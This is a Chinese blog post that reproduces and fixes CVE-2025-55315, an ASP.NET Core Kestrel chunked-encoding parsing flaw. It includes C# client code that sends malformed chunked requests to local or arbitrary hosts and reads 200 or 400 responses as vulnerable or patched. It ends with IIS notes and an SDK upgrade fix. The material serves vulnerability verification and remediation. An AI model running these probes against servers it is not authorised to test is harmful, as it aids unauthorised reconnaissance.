asp.net core CVE-2025-55315漏洞验证修复

asp.net coreCVE-2025-55315漏洞验证

复现代码库,但是我本地跑起来一直卡着

https://github.com/sirredbeard/CVE-2025-55315-repro/tree/main

复现过程

后面自己实现了复现过程

创建web项目

创建.net8.0

并且指定sdk版本

dotnet new globaljson --sdk-version 8.0.414
{
  "sdk": {
    "version": "8.0.414"
  }
}

代码如下

using Microsoft.AspNetCore.Server.Kestrel.Core;

namespace WebApplication
{
    public class Program
    {
        public static void Main(string[] args)
        {
            var builder = WebApplication.CreateBuilder(args);
            // 配置 Kestrel 服务器
            builder.WebHost.ConfigureKestrel(options =>
            {
                // 设置最小请求体数据速率:1 字节/秒,宽限期 10 秒
                options.Limits.MinRequestBodyDataRate = new MinDataRate(
                    bytesPerSecond: 1,
                    gracePeriod: TimeSpan.FromSeconds(10)
                );
            });

            var app = builder.Build();

            app.Map("/", async context =>
            {
                // Begin an asynchronous read from the request BodyReader to initiate body processing
                var reader = context.Request.BodyReader;
                // Start a read without advancing the reader; TCP fragments are coordinated by the test code
                var readTask = reader.ReadAsync();
                var result = await readTask;
                // Advance the reader to mark the buffer as consumed
                reader.AdvanceTo(result.Buffer.End);

                // Send a 200 OK response
                context.Response.StatusCode = 200;
                var processName = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                await context.Response.WriteAsync("OK:" + processName);
            });
            app.Run();
        }
    }
}

模拟攻击

新建控制台项目验证漏洞

using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Text;

namespace ConsoleApp
{
    internal class Program
    {
        static async Task Main(string[] args)
        {
            await Test01("127.0.0.1", 5000);
            //await Test01("10.10.90.139", 8887);
            //await Test02("127.0.0.1", 5000);
            //await Test02("10.10.90.139", 8887);
            //await TestInvalidNewlineVulnerabilityHttps("域名",443,true);
            //await TestInvalidNewlineVulnerabilityHttp("域名", 80);
            Console.ReadKey();
        }

        /// <summary>
        /// 拆分 CRLF 到两个 TCP 包(MultiReadWithInvalidNewlineAcrossReads)
        /// </summary>
        /// <returns></returns>
        static async Task Test01(string ipAddress, int port)
        {
            // 1. 连接Kestrel服务器(localhost:5000)
            using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            await socket.ConnectAsync(ipAddress, port);
            Console.WriteLine("已连接到服务器,开始发送畸形请求(拆分CRLF)...");

            // 2. 构造请求:分两次发送,第一次含"\r",第二次含"\n"
            var encoding = Encoding.ASCII;

            // 第一次发送:分块头(1;\r)+ 部分请求体
            string part1 = "POST / HTTP/1.1\r\n" +
                          "Host: localhost:5000\r\n" +
                          "Transfer-Encoding: chunked\r\n" + // 启用分块传输
                          "\r\n" +
                          "1;\r"; // 关键:分块大小后只发"\r",不发"\n"
            byte[] part1Bytes = encoding.GetBytes(part1);
            await socket.SendAsync(part1Bytes, SocketFlags.None);

            // 模拟网络延迟(确保两次发送分属不同TCP包)
            await Task.Delay(10);

            // 第二次发送:补全"\n" + 分块内容 + 结束标记(0\r\n\r\n)
            //string part2 = "\n" + // 补全换行符"\n"
            //              "A" +  // 分块内容(大小为1,对应前面的"1;")
            //              "0\r\n\r\n"; // 分块结束标记
            string part2 = "\r\n";
            byte[] part2Bytes = encoding.GetBytes(part2);
            await socket.SendAsync(part2Bytes, SocketFlags.None);
            Console.WriteLine("畸形请求发送完成,等待响应...");

            // 3. 接收服务器响应,判断是否存在漏洞
            byte[] responseBuffer = new byte[1024];
            int responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);
            string response = encoding.GetString(responseBuffer, 0, responseLength);
            Console.WriteLine("\n服务器响应:\n" + response);

            // 漏洞判断:返回"HTTP/1.1 200 OK"即存在漏洞;400 Bad Request为修复版本
            if (response.Contains("HTTP/1.1 400 Bad Request"))
            {
                Console.WriteLine("=== 漏洞已修复/版本不受影响,服务器拒绝畸形请求 ===");
            }
            else
            {
                Console.WriteLine("=== 漏洞存在!服务器接受了拆分CRLF的畸形请求 ===");
            }
        }

        /// <summary>
        /// 用单独 LF 代替 CRLF(InvalidNewlineInFirstReadWithPartialChunkExtension)
        /// </summary>
        /// <returns></returns>
        static async Task Test02(string ipAddress, int port)
        {
            // 1. 连接服务器
            using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            await socket.ConnectAsync(ipAddress, port);
            Console.WriteLine("已连接到服务器,开始发送畸形请求(单独LF)...");

            // 2. 构造请求:分块头用"\n"代替"\r\n"(违反HTTP规范)
            var encoding = Encoding.ASCII;
            string malformedRequest = "GET / HTTP/1.1\r\n" +
                                     "Host: localhost:5000\r\n" +
                                     "Transfer-Encoding: chunked\r\n" + // 启用分块传输
                                     "\r\n" +
                                     "1;\n" + // 关键:用"\n"代替标准"\r\n"
                                     "B" +    // 分块内容(大小为1)
                                     "0\r\n\r\n"; // 分块结束标记
            byte[] requestBytes = encoding.GetBytes(malformedRequest);
            await socket.SendAsync(requestBytes, SocketFlags.None);
            Console.WriteLine("畸形请求发送完成,等待响应...");

            // 3. 接收并解析响应
            byte[] responseBuffer = new byte[1024];
            int responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);
            string response = encoding.GetString(responseBuffer, 0, responseLength);
            Console.WriteLine("\n服务器响应:\n" + response);

            // 漏洞判断逻辑同上
            if (response.Contains("HTTP/1.1 200 OK"))
                Console.WriteLine("=== 漏洞存在!服务器接受了单独LF的畸形请求 ===");
            else if (response.Contains("HTTP/1.1 400 Bad Request"))
                Console.WriteLine("=== 漏洞已修复/版本不受影响,服务器拒绝畸形请求 ===");
        }

        /// <summary>
        /// 用单独 LF 代替 CRLF
        /// </summary>
        /// <param name="targetDomain">要访问的域名</param>
        /// <param name="targetPort">默认端口</param>
        /// <param name="useHttps">启用HTTPS</param>
        /// <param name="readTimeoutMs">读取超时,默认5000毫秒就是5秒</param>
        /// <returns></returns>
        static async Task TestInvalidNewlineVulnerabilityHttps(string targetDomain, int targetPort = 80, bool useHttps = false, int readTimeoutMs = 5000)
        {
            Console.WriteLine($"开始测试 HTTPS://{targetDomain}:{targetPort}...");
            try
            {
                // 1. 建立TCP连接
                using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                socket.ReceiveTimeout = readTimeoutMs; // 设置底层Socket超时
                await socket.ConnectAsync(targetDomain, targetPort);
                Console.WriteLine("TCP连接已建立,开始SSL握手...");

                // 2. 包装SSL流
                using var networkStream = new NetworkStream(socket, ownsSocket: true);
                using var sslStream = new SslStream(networkStream, leaveInnerStreamOpen: false);

                // 3. SSL握手(处理证书验证)
                await sslStream.AuthenticateAsClientAsync(
                    targetHost: targetDomain,
                    clientCertificates: null,
                    enabledSslProtocols: System.Security.Authentication.SslProtocols.Tls12 | System.Security.Authentication.SslProtocols.Tls13,
                    checkCertificateRevocation: false
                );

                if (!sslStream.IsAuthenticated)
                {
                    Console.WriteLine("SSL握手失败");
                    return;
                }
                Console.WriteLine("SSL握手成功,发送畸形请求...");

                // 4. 构造并发送畸形请求
                var encoding = Encoding.ASCII;
                string malformedRequest = "GET / HTTP/1.1\r\n" +
                                         $"Host: {targetDomain}\r\n" +
                                         "Transfer-Encoding: chunked\r\n" +
                                         "\r\n" +
                                         "1;\n" + // LF代替CRLF
                                         "A" +
                                         "0\r\n\r\n";
                byte[] requestBytes = encoding.GetBytes(malformedRequest);
                await sslStream.WriteAsync(requestBytes, 0, requestBytes.Length);
                await sslStream.FlushAsync();

                // 5. 读取响应(核心:循环读取+超时判断,替代DataAvailable)
                byte[] buffer = new byte[4096];
                StringBuilder responseBuilder = new StringBuilder();
                DateTime lastDataTime = DateTime.Now; // 记录最后一次收到数据的时间

                while (true)
                {
                    // 检查是否超时(超过ReadTimeoutMs未收到新数据)
                    if (DateTime.Now - lastDataTime > TimeSpan.FromMilliseconds(readTimeoutMs))
                    {
                        Console.WriteLine("响应读取超时,停止接收");
                        break;
                    }

                    // 尝试读取数据(非阻塞,通过超时控制)
                    int bytesRead;
                    try
                    {
                        // 用ReadAsync的超时机制(需配合CancellationToken)
                        using var cts = new System.Threading.CancellationTokenSource(readTimeoutMs);
                        bytesRead = await sslStream.ReadAsync(buffer, 0, buffer.Length, cts.Token);
                    }
                    catch (OperationCanceledException)
                    {
                        // 读取超时,退出循环
                        bytesRead = 0;
                    }

                    if (bytesRead == 0)
                    {
                        // 没有新数据,且已超时,退出
                        break;
                    }

                    // 累加数据并更新最后接收时间
                    responseBuilder.Append(encoding.GetString(buffer, 0, bytesRead));
                    lastDataTime = DateTime.Now;

                    // 额外判断:若已读取到HTTP响应结束标记(可选,增强可靠性)
                    if (responseBuilder.ToString().Contains("\r\n0\r\n\r\n") // 分块传输结束标记
                        || responseBuilder.ToString().Contains("\r\n\r\n"))   // 普通响应头部结束
                    {
                        Console.WriteLine("已读取到响应结束标记,停止接收");
                        break;
                    }
                }

                string fullResponse = responseBuilder.ToString();
                Console.WriteLine($"\n服务器响应(前500字符):\n{fullResponse.Substring(0, Math.Min(500, fullResponse.Length))}");

                // 6. 判断漏洞状态
                if (fullResponse.Contains("200 OK"))
                {
                    Console.WriteLine("=== 漏洞可能存在!服务器接受了畸形请求 ===");
                }
                else if (fullResponse.Contains("400 Bad Request"))
                {
                    Console.WriteLine("=== 漏洞不存在!服务器拒绝了畸形请求 ===");
                }
                else
                {
                    Console.WriteLine("=== 无法判断,请查看完整响应分析 ===");
                }
            }
            catch (SocketException ex)
            {
                Console.WriteLine($"连接错误:{ex.Message}");
            }
            catch (AuthenticationException ex)
            {
                Console.WriteLine($"证书验证失败:{ex.Message}(若为自签名证书,需添加自定义验证)");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"测试失败:{ex.Message}");
            }
        }


        // (可选)自定义证书验证逻辑(仅测试环境使用)
        // 若服务器使用自签名证书,可取消注释并在AuthenticateAsClient时传入此回调
        /*
        private static bool ValidateServerCertificate(
            object sender,
            X509Certificate certificate,
            X509Chain chain,
            SslPolicyErrors sslPolicyErrors)
        {
            // 测试环境临时允许所有证书(生产环境绝对禁止!)
            if (sslPolicyErrors != SslPolicyErrors.None)
            {
                Console.WriteLine($"证书验证警告:{sslPolicyErrors}(测试环境已忽略)");
            }
            return true;
        }
        */

        /// <summary>
        /// 用单独 LF 代替 CRLF,http请求测试
        /// </summary>
        /// <param name="TargetDomain"></param>
        /// <param name="TargetPort"></param>
        /// <param name="UseHttps"></param>
        /// <returns></returns>
        /// <exception cref="NotImplementedException"></exception>
        static async Task TestInvalidNewlineVulnerabilityHttp(string TargetDomain, int TargetPort, bool UseHttps = false)
        {
            Console.WriteLine($"开始测试 {TargetDomain}:{TargetPort} 是否存在LF代替CRLF漏洞...");

            try
            {
                // 1. 创建TCP连接
                using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                await socket.ConnectAsync(TargetDomain, TargetPort);
                Console.WriteLine("已成功连接到服务器");

                // 若使用HTTPS,需建立SSL/TLS会话(关键!否则请求会被加密导致服务器无法解析)
                if (UseHttps)
                {
                    throw new NotImplementedException("HTTPS需额外通过SslStream包装Socket,见下方说明");
                    // 参考代码框架:
                    // using var sslStream = new SslStream(new NetworkStream(socket), false);
                    // await sslStream.AuthenticateAsClientAsync(TargetDomain);
                    // 后续发送/接收需通过sslStream而非直接用socket
                }

                // 2. 构造畸形请求(分块头用LF代替CRLF)
                var encoding = Encoding.ASCII;
                string malformedRequest = "GET / HTTP/1.1\r\n" +
                                         $"Host: {TargetDomain}\r\n" +
                                         "Transfer-Encoding: chunked\r\n" + // 启用分块传输
                                         "\r\n" +
                                         "1;\n" + // 关键:分块头用LF(\n)代替标准CRLF(\r\n)
                                         "A" +    // 分块内容(大小为1字节)
                                         "0\r\n\r\n"; // 分块结束标记
                byte[] requestBytes = encoding.GetBytes(malformedRequest);

                // 3. 发送畸形请求
                if (UseHttps)
                {
                    // 若用HTTPS,需通过sslStream发送:
                    // await sslStream.WriteAsync(requestBytes, 0, requestBytes.Length);
                }
                else
                {
                    await socket.SendAsync(requestBytes, SocketFlags.None);
                }
                Console.WriteLine("畸形请求已发送,等待响应...");

                // 4. 接收服务器响应(注意:可能需要循环接收完整响应)
                byte[] responseBuffer = new byte[4096];
                int responseLength;
                if (UseHttps)
                {
                    // 若用HTTPS,需通过sslStream接收:
                    // responseLength = await sslStream.ReadAsync(responseBuffer, 0, responseBuffer.Length);
                }
                else
                {
                    //responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);
                }
                responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);
                string response = encoding.GetString(responseBuffer, 0, responseLength);
                Console.WriteLine($"\n服务器响应(部分):\n{response}");

                // 5. 判断漏洞是否存在
                if (response.Contains("HTTP/1.1 200 OK") || response.Contains("HTTP/1.0 200"))
                {
                    Console.WriteLine("=== 漏洞可能存在!服务器接受了畸形换行符 ===");
                }
                else if (response.Contains("400 Bad Request") || response.Contains("400"))
                {
                    Console.WriteLine("=== 漏洞不存在!服务器正确拒绝了畸形请求 ===");
                }
                else
                {
                    Console.WriteLine("=== 无法判断!响应不明确,请检查请求格式或手动分析响应 ===");
                }
            }
            catch (SocketException ex)
            {
                Console.WriteLine($"连接错误:{ex.Message}(可能是端口错误或服务器不可达)");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"测试失败:{ex.Message}");
            }
        }
    }
}

在这里插入图片描述

按照帖子的说法使用iis可以规避该漏洞,不过不是绝对安全,建议还是升级
在这里插入图片描述

翻译过来:我的理解是否正确:在 IIS 本身不存在漏洞的前提下,运行在 IIS 中的(self-contained)ASP.NET Core 应用程序就不会存在该漏洞?或者换个说法:这个漏洞是否严格局限于 Kestrel Web 服务器,而非ASP.NET Core 框架普遍存在的漏洞?

是的,我认为这么理解是合理的。

测试在iis或者iisexpress中,无论进程内还是进程外测试都阻止了该漏洞

.NET Core 3.X+默认为InProcess

.NET Core 2.X及更早版本默认为OutOfProcess

<PropertyGroup>
    <TargetFramework>net8.0</TargetFramework>
    <Nullable>enable</Nullable>
    <ImplicitUsings>enable</ImplicitUsings>
    <!--InProcess是进程内使用iis或者iisexpress,OutOfProcess是进程外,内部使用Kestrel-->
    <!--<AspNetCoreHostingModel>OutOfProcess</AspNetCoreHostingModel>-->
</PropertyGroup>

修复漏洞

安装对应的包即可
https://github.com/dotnet/aspnetcore/issues/64033
https://dotnet.microsoft.com/zh-cn/download/dotnet/8.0
在这里插入图片描述
在这里插入图片描述
修改global.json

改为8.0.121版本可以验证漏洞已经修复
在这里插入图片描述

参考

https://www.cnblogs.com/netry/p/19147223/CVE-2025-55315
https://github.com/dotnet/aspnetcore/issues/64033
https://github.com/advisories/GHSA-5rrx-jjjq-q2r5

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

假装我不帅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值